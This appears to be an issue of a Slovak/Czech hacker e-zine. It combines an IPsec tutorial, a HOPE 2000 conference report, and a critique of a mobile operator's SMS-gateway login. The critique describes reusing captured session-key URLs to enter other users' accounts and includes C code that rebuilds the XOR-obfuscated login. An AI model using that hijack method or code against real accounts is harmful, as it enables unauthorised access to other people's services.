svoje tvrdenie zalozil na argumentoch. prihlasovanie je rovnako nezabezpecene
ako bolo aj predtym, ziadny xorovaci applet na tom nic nezmeni. okrem toho
applet dostane naspat session key, cize netreba ani velmi rozmyslat a pristup
do diara niekoho ineho sa da ziskat aj bez tejto analyzy (snaci do prehliadaca
zadat odchytene url so session key a ste vnutri, aplikacia si dokonca ani
neoveruje, ci s danym session key pride clovek z tej istej adresy ako je
adresa, na ktoru session key poslal, co je par riadkov kodu -- podobne
problemy boli uz na slovenskych a ceskych serveroch venujucich sa tematike
bezpecnosti popisane).
vedzte teda, ze aktualny diarlib pracuje aj s
novym ,,sifrovanim'' a ak vam staci limit 10 sms za den, mozete ho pouzivat
(napriklad, ak nechcete kvoli rozmarom eurotelu a el&t instalovat
javu).
ja len verim, ze nasi operatori konecne dostanu rozum a budu sluzbu
notifikacie o prichadzajucom e-maile poskytovat kazdemu platiacemu zakaznikovi
zdarma ako je to zvykom v zahranici a nebudu chciet z nas vyryzovat kazdy
halier. alebo mame vsetci emigrovat?
juraj bednar
navrat na obsah
uvod do ipsec (protokoly, implementace, pouziti)
uvod
nasledujici text je velmi podobny prednasce, ktera zaznela na openweekendu v
dejvicich, a sleduje vicemene slajdy [1]. pro vice
informaci si prectete texty uvedene v sekci 'literatura'. je uzitecne precist
si zdrojove texty operacnich systemu, ktere implementuji ipsec [2], za predpokladu znalosti implementace sitoveho
subsystemu [3].
pojem ipsec
kdyz se podivame na ip protokol [4], neni tezke uvidet,
ze postrada vlastnosti, ktere jsou bezpecnosti vlastni - autentizaci, zaruku
konfidentality, integrity, ochranu proti replay utokum. tento nedostatek,
zaroven s tim, jak se rozsiruji podnikove site, prispel k tvorbe pozadavku na
vybudovani noveho protokolu, pripadne rozsireni stavajiciho. protoze je dnes
ip siroce vyuzivan, ustavila ietf [5] komisi, ktera mela
za ukol navrhnout extenzi ip tak, aby splnovala tyto pozadavky a zaroven byla
zpetne kompatibilni s ip, tj. aby stroje ktere ji nerozumeji, nebranily jeho
pouziti.
vpn
s pojmem ipsec uzce souvisi vpn (virtual private network). pomoci ipsec muzeme
propojit oddelene site tak, aby jejich propojeni bylo uvnitr samych sebe
transparentni. toto propojeni muzeme diky vlastnostem ipsec realizovat pres
verejne datove site, coz s sebou nese zrejme vyhody, jako rychlejsi
vybudovani, uspora nakladu (neni nutne budovat fyzicke spojeni jednotlivych
lokalit) - to plati i pro operatora, ktery datovou sit pronajima. na druhou
stranu je toto reseni narocne na spravu (a tim i na prostredky pokud spravu
sverime treti strane). ipsec je bezpecnostni mechanismus ip vrstvy, ktery se
vztahuje na kazdy ip paket. mame-li sit, kde veskera komunikace probiha na ip,
vyplyva, ze zabezpeceni ip zabezpeceni datovych toku v cele siti. je nutne si
uvedomit, kam az ipsec saha. pokud pozadujeme autentizaci uzivatele, prip.
navic v ramci nejake aplikace, lezi prostredky ipsec v prilis nizke vrstve.
pro aplikacni vrstvu je ipsec naprosto transparentni, coz muze byt nekdy
nezadouci, tento problem vsak do urcite miry resi prostredky typu ssl.
podstata ipsec
zakladni stavebni kameny ipsec jsou z pohledu ip dva rozsirujici protokoly: ah
(authentication header) [6] a esp (encapsulated security
payload) [7]. ah i esp se prekryvaji - ah poskytuje
prostredky pro autentizaci, esp muze poskytovat autentizaci i sifrovani. tyto
dva protokoly jsou vystaveny tak, aby bylo mozne rozsirovat je napr. o dalsi
sifrovaci funkce. tyto dva protokoly je mozne v ramci jenoho paketu
kombinovat. je nutne si uvedomit, ze toto urcite nestaci k tomu, abychom
zajistili bezpecnost datovych toku mezi sitemi. k uplnosti schazi mechanismus
pro vymenu klicu - ike (internet key exchange) [17].
zminujeme-li ip protokol, je tim myslen v zasade ipv4. v ipv6 je ipsec
povinny, nicmene to s sebou nese implementacni problemy.
sa
prvnim stupnem abstrakce nazirani na datovy tok v ramci ipsec je sa (security
association). sa obsahuje nasledujici atributy: cilovou ip adresu, ipsec
protokol (ah,esp), cislo spi, sekvencni citac, mod prenosu (tunnel,
transport), casova data o vyprseni, atd. aby spolu mohly bezpecne komunikovat
dve strany, je zapotrebi dvou sa - kazda pro jednu stranu. cislo spi
(security parameter index) jednoznacne identifikuje dany sa. podle nej se
vyhleda prislusny sa pro zpracovani prichoziho ipsec paketu. spi vznika pri
vyjednavani parametru spojeni, vytvari ho prijemce sa. spolu s cilovou
adresou a bezpecnostnim protokolem (ah,esp) vytvari spi primou vazbu s
prislusnym sa.
ah
ah nam poskytuje nasledujici funkce: ochranu integrity pro hlavicku a data
(payload) a overeni ze paket pochazi od daneho odesilatele. protoze se ah
snazi chranit celou ip hlavicku, pokryvaji autentizacni data vsechna pole,
vyjma tech, ktera se meni pri tranzitu. format ip paketu, ktery obsahuje ah
ma jednoduse prilepenou ah hlavicku hned za ip hlavickou, pak nasleduji data.
(tj. napr. tcp hlavicka + data ktera prenasime)
zjednoduseny format ah hlavicky:
esp
primarni funkci esp je ochrana dat pred odposlechem, ale muze zaroven
poskytovat i autentizaci, v ramci ni nechrani ale cely paket jako to dela ah,
esp autentizuje pouze nizsi hlavicky.
zjednoduseny format esp hlavicky:
mody prenosu
ipsec definuje dva mody prenosu - transport a tunnel mod. transport mod je
urcen pro ipsec spojeni mezi dvema stroji, pomoci tunnel modu muzeme budovat
plnohodnotne vpn. format paketu pro transp. mod a esp vypada jednoduse: ip [
esp | payload ]. tunnel mod provadi zapouzdreni hlavicek, pro pocitace ktere
spolu v ramci vpn komunikuji, je spojeni transparentni. z paketu, ktery
produkuje pocitac uvnitr vpn: ip1 [ payload ] se stane po ipsec zpracovani
zapouzdreny paket: ip2 [ esp | ip1 | payload ]. stejne tak lze pouzit ah
protokol. zde je vhodne se zeptat, jestli a za jakych podminek muze dojit k
soucasnemu pouziti ah a esp. tato vlastnost se nazyva tzv. transport
adjacency. esp hlavicka je prilepena za ah: iphdr1 ah esp iphdr2 {tcphdr +
data}. tim padem autentizujeme cely paket (vyjma nekolika poli ve vnejsi ip
hlavicce iphdr1) a sifrujeme tcp hlavicku a data.
vstup / vystup
abychom mohli pri zpracovani paketu urcit jak s nim mame dle ipsec nalozit,
potrebujeme jednoznacne identifikovat prisluny zaznam v sad (security
association database). k tomu slouzi spi. na vystupu dostaneme paket, na
ktery se muzeme divat jako na ip hlavicku a data. pri ipsec zpracovani se
rozhodneme dle security policy jak s paketem nalozime, zasifrujeme, pridame
esp hlavicku, spi a predame ke zpracovani. security policy slouzi k
rozhodovani co se s paketem v ramci ipsec stane. rozhodovat muzeme podle
adresy nebo socketu. pokud na vstupu dostaneme ipsec paket, vyhledame prisl.
sa podle spi, desifrujeme, predame dalsi vrstve. pri hledani sa je nutne mit
reasemblovany paket (pokud byl predtim fragmentovan), pricemz routery obvykle
reasembling neprovadeji. konkretni pripad pouziti v ethernetu by vypadal
takto:
esp, vystup na ethernetu
ike/isakmp
nyni mame vybudovany prostredky a pojmy pro bezpecnou komunikaci, chybi nam
ale podstatna vec: mechanismus pro vymenu klicu. bez nej by byly ah a esp pro
pouziti v realnem svete k nicemu. klice muzeme sice nastavit rucne (priradime
jim staticka spi), to samozrejme neposkytuje ochranu proti replay utokum.
automaticke nastaveni klicu je provadeno podle ike (internet key exchange) [17]. pro predstavu slozitosti nastavovani vpn pomoci pri
pouziti statickych klicu a symetricke kryptografie nam pomuze nasl. priklad s
prodejci: mame 23 prodejcu, ti chteji spolu komunikovat, pricemz jednou mohou
byt jejich zajmy spolecne, jindy mezi nimi panuje konkurencni boj. pokud budou
spolu chtit prodejci bezpecne komunikovat, musi mit nejaky mechanismus pro
vymenu klicu. mohou to udelat tak, ze se jednou za cas kazdy setka s kazdym a
vymeni si klic pro komunikaci. nebo mohou mit jednou za cas snem, kde kazdy
zverejni svuj verejny klic. to je sice stale slozite, ale uz podstatne
jednodussi reseni. ike je vystaven nad isakmp (internet sa and key management
protocol), coz je obecny ramec pro dohodu bezp. parametru jednotl. spojeni a
je striktne oddelen od vymeny klicu. ike ma za ukol jednak spravu klicu,
jednak vyjednavani parametru ipsec spojeni. ukolem tedy je:
1. vyjednat protokoly, algoritmy, klice
ukolem ike je zajistit dohodu klicu a algoritmu, od zacatku zajistti
autenticitu vymeny, spravu dohodnutych klicu (napr. expiraci), bezpecnou
vymenu materialu pro generovani klicu.
isakmp
isakmp pracuje ve dvou fazich - v prvni fazi sestavi bezpecny, autentizovany
kanal pomoci ktereho budou komnikovat obe strany (tzv. ike sa). v druhe fazi
se vyjednavaji sa pro obecne pouziti. k sestaveni ike sa lze pouzit bud main
mode nebo aggressive mode. main mode potrebuje k uspesnemu dokonceni vymeny 5
zprav (tzv. 3-2 vymena), aggressive mode pouze 3, pricemz aggresive mode
nezajistuje ochranu identity. v ramci teto vymeny probiha dohoda parametru
spojeni, zjednodusene si lze predstavit tak, ze jedna strana navrhne parametry
(tzv. ike proposals) pro budouci sa a pokud druha strana 'souhlasi', vzejde z
teto vymeny material pro vyrobu klicu. tato asociace se nazyva ike sa. k
ustaveni ike sa navrhuje iniciator 6 veci [14]:
sifrovaci algoritmus
pokud budeme uvazovat o tom, jak snizit pravdepodobnost toho, ze kdyz se
utocnikovi dostanou do ruky zasifrovana data, bude je schopen desifrovat. bud
muzeme pouzit opravdu velke klice, (to je ale narocne na vypocetni vykon a
sirku pasma) nebo muzeme pouzit rozumne velke klice a casto je menit. to s
sebou prinasi problem jak zajistit generovani klicu aby je druha strana mohla
pouzit. pokud nebudeme dalsi klic odvozovat od stavajiciho, bude mit utocnik
moznost v pripade ze desifruje dany klic nahlednout pouze na cast prenasenych
dat. teto metode se rika perfect forward secrecy a ike k ni pouziva
diffie-hellmanovo schema.
d-h schema:
ve druhe fazi se pouziva tzv. quick mode vymena, ktera ma za ukol provadet
periodickou vymenu klicu pro sa. quick mode (qm) uz probiha uvnitr bezpecneho
tunelu (ike sa), protokol je tedy jednodussi. zpravy qm zacinaji hashem, ktery
autentizuje zbytek paketu, qm vymena probiha pomoci 3 zprav (podobne jako v
aggresive mode). iniciator posle spi ktere bude pouzivat ke komunikaci a
responder posle spi, ktere si vybral on. tim dostaneme inbound (vzhledem k
iniciatorovi) a outbound sa. iniciator uzavira vymenu potvrzujici zpravou.
obecne schema spoluprace ike+ah,esp pak bude:
1. pouzij main mode (prip. aggresive mode) pro bootstrap ike sa
abychom mohli overit, ze druha se strana je skutecne ta, za kterou se vydava,
potrebujeme nejaky zpusob k verifikaci identity. k tomu slouzi treti strana -
certifikacni autorita (ca). certifikaty spojuji dohromady nasledujici tri
veci: vasi identitu (napr. jmeno a sidlo), verejny klic ca, vas verejny klic
(urceny k podpisu). schema overeni identity vypada priblizne takto:
1. poslu data k podpisu druhe strane
toto se nazyva tzv. 'chain of trust'. ten zacina nasi duverou v identitu ca a
tu pouzijeme k overeni duvery v nekoho jineho. ike pouziva k overeni identity
pres treti stranu prumyslovy standard x.509 [19]. ike
je navrzen jako otevreny standard, je tedy mozne rozsirit jej o dalsi.
kritika ipsec
v [12] jsou shrnuty jednak argumenty proti navrhu
ipsec, druhak jsou navrhnuta reseni, ktera opravuji chyby. obecne se o ipsec
da rici, ze se jedna o velmi slozity system. kazdy slozity system obsahuje
netrivialni chyby. pri formalnim overovani bezpecnosti takoveho systemu to
klade velke naroky a verifikace se tak stava zdlouhavou a na lidske zdroje
narocnou cinnosti. zaroven to nese problemy s interoperabilitou - jednotlive
implementace nemusi byt kompatibilni. schneier [12]
toto nazyva 'complexity trap': nejvetsim nepritelem bezpecnosti je slozitost.
proc je ipsec tak slozity ? pokud se podivame na proces navrhovani tohoto
protokolu, a srovname jej napr. s procesem vyberu aes [18], je videt typicky tzv. 'comittee effect' - kazdy z
komise [5] si vybere svou 'oblibenou' vlastnost a tu do
noveho protokolu prosadi. dalsi kritizovanou vlasnosti je nedostacujici
dokumentace - jednak obsahuje mnohoznacnosti, z cehoz plnou problemy pri
implementaci, druhak neobsahuje vysvetleni duvod volby byly jednotlivych
komponent. porovname-li napr. transport a tunnel mod, zjistime, ze tunnel mod
je nadmnozinou transp. modu a transp. mod tedy neni potreba. muzeme
argumentovat tak, ze tunnel mod ma vetsi 'overhead', ale pri aplikovani
jednoduche komprese muzeme dosahnout stejneho mnozstvi dat. dale, sa jsou
jednosmerove. pri pouziti ipsec sotva budeme chtit zebezpecit pouze jednu
stranu komunikace, navic se tak zjednodussi impelemntace (polozky v sad -
security association database). navrh ah a esp protokolu se prekryva, mohli
bychom vynechat ah a zaroven chtit aby esp vzdy poskytoval autentizaci -
sifrovani bez autentizace je k nicemu. tim se navrh znacne zjednodusi. (autori
navrhu se ohrazuji tim, ze napr. site armady usa jiz obsahuji dostatecne
prostredky pro autentizaci a tedy v navrhu neni potreba) dalsi diskutabilni
vlastnosti je poradi operaci - ipsec nejdrive pouzije sifrovaci funkci, pote
autentizacni. hortonuv princip stanovuje poradi operaci opacne, tj. autentizuj
co je mineno. schneier [12] tvrdi, ze o ipsec tak jak
je navrzen, se neda rict, ze je to bezpecny zpusob, jak zajistit bepecnost ip
a nedoporucuje ipsec k pouzivani. pres vsechny tyto nedostatky je ale ipsec
nejlepsim dostupnym resenim a je siroce vyuzivan.
implementace
ipsec je ke dnesnimu dni implementovan v rade os, v zasade muzeme implementace
rozdelit na komercni (napr. cisco [15]) a open source.
nejpopularnejsi ipsec stack - kame [16] je japonske
produkce, je integrovan do freebsd a netbsd a obsajuhe ipv6 implem. openbsd ma
vlastni ipsec stack, ktery napsali a. keromytis a j. ioannidis. zpracovani
ipsec paketu probiha v kernelu, vymeny v ramci ike probihaji v userlandu. ve
freebsd k tomu slouzi racoon(8), v openbsd isakmpd(8). datove struktury pro
ulozeni dat nutnych ke zpracovani ipsec se nazyvaji sad (tdb) - to je database
sa a spd - security policy (sp) database. sp je analogie firewallu,
rozhodnuti se ale tykaji sa. kdyz se podivame na vztah ipsec a ike, muzeme
vyzvednout nasledujici odlisnosti a vlastnosti:
ipsec - v kernelu, fce pro setup tajnych klicu, hash fce
ipsec se urcite nehodi pro ochranu beznych spojeni a uz vubec ne jako nahrada
ochrany na aplikacni urovni. vezmeme si napr. host typu yahoo.com, kteremu by
pri mnozstvi pozadavku jake jsou na tento vznaseny nestacila kernel memory.
pouziti
ipsec je bezne pouzitelny pro budovani vpn, v posledni dobe se dobre osvedcil
jako nahrada wep (wireless equivalent privacy) [11], u
ktereho se prokazalo, ze 40bit i 128 verze jsou nebezpecne. ipsec je zajimavy
i pro organizace, jejiz uzivatele casto cestuji nebo pracuji vzdalene - tzv.
'road warriors'. ve spojeni s ca je uz ipsec v tomto pripade pouzitelny.
presto, ze ipsec je slozity protokol, ma napr. pod openbsd jednoduchy setup
[10] - k nastaveni nam krome znalosti sitovani bude
stacit pf/ipf(8) a isakmpd(8). nanestesti protokol diky sve slozitosti
umoznuje nastaveni, ktere neni bezpecne, administrator, kteremu principy na
kterych ipsec stoji nejsou vlastni, muze snadno udelat chybu, ktera vede ke
snizeni bezpecnosti.
literatura
[1] Openweeknd 2001 IPSec Slides
vladimir kotal, vlada(at)openbsd.cz
navrat na obsah
hackers on the planet earth 2000
po viac ako roku od konania konferencie hackers on the planet earth 2000 (alias
hope 2000, alias h2k) som sa povzbudeny istym nemenovanym clenom hysterie
konecne odhodlal spisat nejake postrehy z tejto akcie ktorej som sa zucastnil.
najprv niekolko poznamok. oficialnu stranku h2k s mnozstvom zaujimaveho
materialu najdete na adrese http://www.h2k.net.
moje fotky z akcie sa nachadzaju na
http://www.johny.sk/h2k/, na niektore zaujimave zabery upozornim nizsie.
vacsinou su dost tmave, je to sposobene tym, ze sa cela akcia konala dnu v
hoteli a defaultny blesk k mojmu fotoaparatu je vhodny tak do 1.5 metra..
do new yorku som pricestoval z domu mojho znameho v connecticute (asi 50 mil
od nyc) autom s niekolkymi dalsimi ludmi, ktorych som dovtedy poznal len z
irc. po prichode do hotela som sa zaregistroval na recepcii, mal som
rezervovanu jednu dvojpostelovu izbu, na ktoru sme sa planovali zlozit
samozrejme viaceri ako dvaja. nakoniec to dopadlo tak, ze sa nas v jednej izbe
pre dvoch nazbieral rekordny pocet -- 10 ludi, hehehe. ja osobne som spal v
miestnosti, ktora za normalnych okolnosti sluzi ako satnik [54] (tie dvere nie su vstup do izby
ako by sa mohlo zdat. boli to nejake unikove dvere, ani sa nedali otvorit).
nechali sme si na izbu doviezt aj pridavnu rozkladaciu postel, a duali sme, ze
nam ju nezarataju do ceny :-). ale namiesto nej nam priniesla upratovacka dake
uteraky, ci co. pochopili to az po dalsom telefonate na recepciu. zatial sme
sa v izbe rozlozili, jeden z pritomnych si zisiel dole kupit nejaku colu a
vratil sa s uctom z hotela, ktory nasiel pri telefonoch, na ktorom bolo cislo
kreditky aj s menom, adresou a datumom expiracie karty :-)) [08].
hned v prvy vecer bola premiera dokumentarneho filmu o niektorych hackerskych
kauzach, vacsina filmu pojednava o kevinovi mitnickovi, resp. o jeho 5-rocnom
pobyte vo vazeni bez toho, ze by bol odsudeny, a o snahach dostat ho von.
pritom z neho ale nerobia ziadneho krala hackerov ako byval vacsinou
prezentovany v mediach. film sa vola freedom downtime [http://www.freedomdowntime.com] a
natocili ho manici z 2600. doteraz vsak nie je uvolneny ani na vhs ani na
dvd, aj napriek tomu, ze to stale slubuju.
samozrejmostou pocas celeho vikendu bol free konekt na internet, stacilo si
len priniest pocitac s kablom a sietovou kartou a plugnut ho do siete (hlavny
switch [49]). pre ludi, ktori si
pocitac nechali doma, bol otvoreny network room s klasickymi zelenymi zabami,
ktore ste si mohli kupit a po skonceni akcie odniest domov :-). niektori manici
tam doniesli celkom pekne historicke kusky,
[28,
33,
44,
45,
45,
47,
50,
51,
52].
niektori zase mali celkom stylovo pokreslene notebooky [25].
na tejto akcii za zislo naozaj slusne mnozstvo roznych zaujimavych ludi.
prislo sice aj dost lamerov, ktori sa tvarili ako najvacsi hackeri na svete,
ale ked ste si ich odmysleli, tak to bolo super. napriklad typci, co robili
prednasku o robotike mali skonstruovaneho robota, ktory dokaze sprayovat
napisy [38] (vysledok [48]). v tom case pracovali na novej
verzii tohto robota, ktora pouziva normalne velke auto (videl som ho na fotke,
bola to velka rampa so spraymi, upevnena na velkom pickupe - takom tom
klasickom americkom), proste uplna sialenost :-). samozrejme, nesmela chybat
ani tradicne klasicka dodavka 2600-karov, ku ktorej sa viaze nespocetne
mnozstvo legiend :-)) [39, 40, 41, 42] dalsia legenda, captain crunch
[22, 62, 63], ktoremu sa prisudzuje "objav" tonu
s frekvenciou 2600hz, pomocou ktoreho sa kedysi (a vraj este v niektorych
statoch v zapadnutych castiach aj dnes) dalo volat z verejnych telefonnych
automatov zadarmo. traduje sa, ze tento, dnes uz stary pan, si vtedy kupil
chipsy "captain crunch", v ktorych bola ako bonus pistalka, ktora vedela menit
vysku tonu podla toho ako sa vytiahol alebo zasunul taky cicik, ktory z nej
trcal (kedysi aj u nas boli take lizatka s pistalkou na tomto principe). no a
stary pan crunch ;-) niekomu telefonoval, pritom si popiskoval a zistil, ze
ked zapiska isty ton, tak mu automat nic neuctuje. fakt je ten, ze to vlastne
nevymyslel on, ale niekto uplne iny a on to len spropagoval (sam mi to povedal
;-). dalsi zaujimavy clovek, ktoreho bolo mozne vidiet, bol bernie s.
[75,
76,
77]. clovek, ktory bol obvineny zo
zneuzitia telefonnej siete -- podobny pripad ako mitnick. ten sheet, ktory
mozte vidite nalepeny na stlpe v pozadi, je upozornenie umiestnovane vo
vazniciach pri telefone, ktore hlasa nieco v zmysle "podla zakona moze byt
vas hovor nahravany blablabla" v anglictine a spanielcine. bernie ten letak
strhol, odfaxoval znamemu a tu ho predaval za 1 dolar za kus ;-)). inak
pohodovy clovek. vseobecne vsetci ludia, s ktorymi som sa stretol, boli dost
cool, dobre sa s nimi rozpravalo a vacsinou zo seba nerobili marchrov ani nic
podobne. nemozno nespomenut emmanuela goldsteina, zakladatela magazinu a
organizacie 2600 [30].
osobne som sa najviac z celej konferencie (fuj, konferencia, to znie prilis
snobsky :-) tesil na social engineering panel, pretoze som si este predtym
pustal zaznamy z predosleho hope ako volali napriklad do miestneho k-martu,
kde sposobili mensiu paniku, ked sa im podarilo, aby ich prepli na klapku,
ktora bola napojena na ozvucovaci system v celom obchodnom dome a vyhlasili,
ze v oddeleni tom a tom je vsetok tovar az do odvolania zadarmo :-))).
tentoraz to uz, bohuzial, az taka sranda nebola, nakoniec spravili len jeden
telefonat do miestnej telekomunikacnej spolocnosti, kde chceli zistit nejake
doverne informacie (uz si ani nepamatam presne co to bolo ale to nie je
dolezite), ale skrachovalo to na tom, ze zamestnanci mali zakazane poskytovat
akekolvek informacie, pretoze "v ten den sa v meste kona hackerska
konferencia" :-)))). na zaver tohoto bloku sa telefonicky spojili s kevinom
mitnickom, ktoremu bolo mozne klast aj otazky z plena :-). mitnickovi tie 2
roky podmienecne, ktore si musi odpykat, naozaj nezavidim -- predstavte si,
ze by ste sa 2 roky nemohli ani len dotknut pocitaca alebo nejakeho ineho
elektronickeho zariadenia, ktore by len z dialky pripominalo pocitac. uff.
[68,
69,
70,
71,
72]
velku show predviedli cult of dead cow (autori back orifice), z ktorej ale
nemam ziadne fotky, lebo som bol daleko od podia, a ktora ma az tak
nezaujimala, lebo tito chlapici su naozaj mimo :-). ta ich show bol hrozny
ulet, s jednym z ich clenov som sa aj osobne zoznamil (ma titul minister of
propaganda) a bol to celkom slusny clovek -- dalo sa s nim porozpravat
(povodne som predpokladal, ze ma posle niekam s vyhovorkou, ze nema cas alebo
podobne).
zaujimave veci predviedli aj chlapci z holandska, ktori zalozili "sportovy
klub otvarania zamkov bez kluca" (lockpicking), hehehe. vraj sa tato
disciplina celkom ujala uz aj v nemecku. aj ked sami zdoraznuju, ze to robia
len pre potesenie a zneuzivanie tohoto konicka na trestnu cinnost rozhodne
odsudzuju, z ich prednasky by si nove informacie odniesol urcite nejeden
kriminalny zivel :-). bolo to naozaj celkom zaujimave ("workshop" [64], kde si kazdy mohol vyskusat
svoju zrucnost v otvarani zamkov, a prednaska [78, 79]. tak ako kazdej verejnej akcie,
kde sa koncentruje vacsie mnozstvo hackerov, aj tejto sa urcite zucastnili
tajni. povacsine ale zostanu tajni az do konca. na h2k sa vsak konala verejna
diskusia s jednym agentom fbi, ktory podla toho co hovoril, sympatizoval s
hackermi a vyklopil celkom slusne mnozstvo zaujimavych informacii (myslim, ze
vydal aj nejaku knihu, kde podal vsetky informacie, ktore nie su tajne -- su
to zaujimave veci, aj ked si poviete, ze "aa, co, vsak co nie je tajne, tak
kazdy vie". ale nie je to taka). bohuzial, vela si nepamatam lebo som nestihal
absorbovat tolko informacii naraz. nabuduce si budem robit poznamky.
prezentaciu si pripravil aj detektiv z istej agentury, ktory predvadzal
systemy, ktore pouzivaju detektivi na vyhladavanie informacii o obcanoch
[65,
66,
67]. zopar pritomnych ludi mu
povedalo svoje meno a on im uz nasiel vsetko ostatne -- adresu, datum
narodenia, ssn, mena rodicov a surodencov a kreditne informacie. celkom pekny
big brother :-).
zaujimavostou bolo, ze hned druhy den po skonceni h2k (teda v pondelok), sa na
sude v new yorku prejednaval pripad mpaa vs. 2600, takze dost ludi sa v nyc
zdrzalo este dalsi den, aby podporili demonstraciu proti mpaa, ktora sa
konala pred budovou sudu. zucastnil som sa aj ja (fotodokumentaciu mozete
najst na adrese
http://www.johny.sk/mpaa/). prebiehala v pokludnom style, nic zvlastneho sa
neudialo. dostal som sa aj do sudnej siene, celkom zaujimave je vidiet nazivo
to, co vacsinou vidite len v americkych filmoch (matlock a spol. :-). casti
tejto demonstracie sa zucastnil aj richard stallman, zakladatel gnu a
prezident free software foundation, s ktorym sa mi podarilo zajst na obede do
cinskej restauracie ale na moje pocudovanie, ked som si neskor pozeral fotky,
ani na jednej som ho neobjavil :-).
co dodat na zaver, snad iba tolko, ze aj ked som sa snazil, nebolo mozne
dostat sa na vsetky prednasky, ktore by som chcel vidiet, pretoze vacsinou
prebiehali 3 sucasne na roznych miestach a verte ze 90% veci by som rad
absolvoval. ak sa chce clovek este aj stretnut so znamymi, zaujimavymi ludmi,
tak nie je sanca to vsetko stihnut :-). tento rok v lete sa bude konat dalsi
rocnik tejto akcie (doteraz sa konala vzdy kazde dva roky), ja sa tam opat
chystam a tentokrat som sa rozhodol, ze si budem seriozne robit aj poznamky
a spravim snad aj nejake rozhovory so zaujimavymi osobnostami, takze sa mate
na co tesit.
no a ako hovori jeden moj znamy, zatedy bye!
johny, johny(at)2600.sk
navrat na obsah
[2] phrack, issue 0x39, phile #0x0a: michal zalewski, against the system: rise of the robots
[3] cnn.com record year for security breaks expected
[4] information technology -- essential but vulnerable: how prepared are we for attacks?
co ty na to ? board
void genlogin () {
unsigned char s[85], s1[85];
unsigned char chr[3];
int i;
srandom (time (NULL));
for (i = 0; i < 85; i++) {
s1[i] = 0;
s[i] = 0;
}
sprintf (s, "%s#%s#", USER, PASSWORD);
for (i = strlen (s); i < 42; i++)
s[i] = random () % 255;
for (i = 0; i < 42; i++) {
s1[i] = random () % 255;
s1[i+42] = s1[i] ^ s[i];
}
*uri = 0;
for (i = 0; i<84; i++) {
sprintf (chr, "%x", s1[i]);
if (strlen (chr) < 2)
strcat (uri, "0");
strcat (uri, chr);
}
}
co ty na to ? board
next header | payload len | reserved
security parameters index (spi)
sequence number field
authentication data (variable)
nextheader urcuje nasledujici vyssi protokol (esp, tcp). spi (security
parameter index) jednoznacne urcuje sa (tj. proto, klice, algoritmy) a je
inkrementovan pro dst addresu nebo sa. payload len urcuje delku ah hlavicky
minus 2 (kvuli zpetne kompatibilite s puv. navrhem ah). sekvencni cislo
zajistuje ochranu pro replay utokum. presny format ah hlavicky lze nalezt v
[6].
spi (security parameters index) ^
sequence number | autentizovano
payload data | padding <- sifrovano -> v
authentication data
presny format esp hlavicky lze nalezt v [7]. spi, seq.
num. maji tentyz vyznam jako u ah, padding muze slouzit jednak k znesnadneni
analyzy datoveho toku podle objemu dat, jednak pro blokove sifry aby byla data
zarovnana na delku, kterou pozaduje dana blokova sifra.
bez esp
1. slozena tcphdr, pripojena k datum
2. slozena iphdr, pripojena pred tcp
3. slozena eth hdr, pripojena pred ip (+ eth cksum na konci)
s esp
1. dtto
2. slozen esp paket
zasifruje tcphdr + data
3., 4. dtto
2. snadna vymena klicu (a casta)
3. sledovat tyto ujednani (sa management)
hashovaci algoritmus
authentication method
info o d-h grupe
prng funkci
bezp. protokol (ah nebo esp)
obe strany vygeneruji public/private key pair
obe si vymeni public klice
zkombinuji ziskany public se svym tajnym (d-h algoritmus)
ziskanou hodnotu pouziji pro sifrovani symetrickou sifrou
2. pouzij quick mode v ramci ike sa pro vyjednani sa
3. pouzivej sa ke komunikaci nez vyprsi
2. prijmu certifikat od druhe strany podepsany ca
3. overim podpis ca
4. overim podpis druhe strany
ike - v userlandu, verejne klice, certifikaty
[2] RFC 2401 (IPSec)
[3] Kirk McKusick - The Design and Implem. of the 4.4BSD Operating System
[4] RFC 791 (IP)
[5] IETF IPSec Working Group
[6] RFC 2402 (AH)
[7] RFC 2406 (ESP)
[8] Itojun, slajdy o implem. ipsec/IPv6
[9] NetBSD IPSec FAQ
[10] OpenBSD IPSec FAQ v cestine
[11] IPSec jako nahrada za WEP
[12] Cryptographic Evaluation of IPSec
[13] Dipl. prace Vaska Petricka, MFF UK
[14] Understanding IPSec Protocol Suite
[15] Cisco Security Technical Tips - IPSec
[16] KAME project
[17] RFC 2409 (IKE)
[18] AES
[19] X.509 Certificates and Certification Authorities
co ty na to ? board
co ty na to ? board
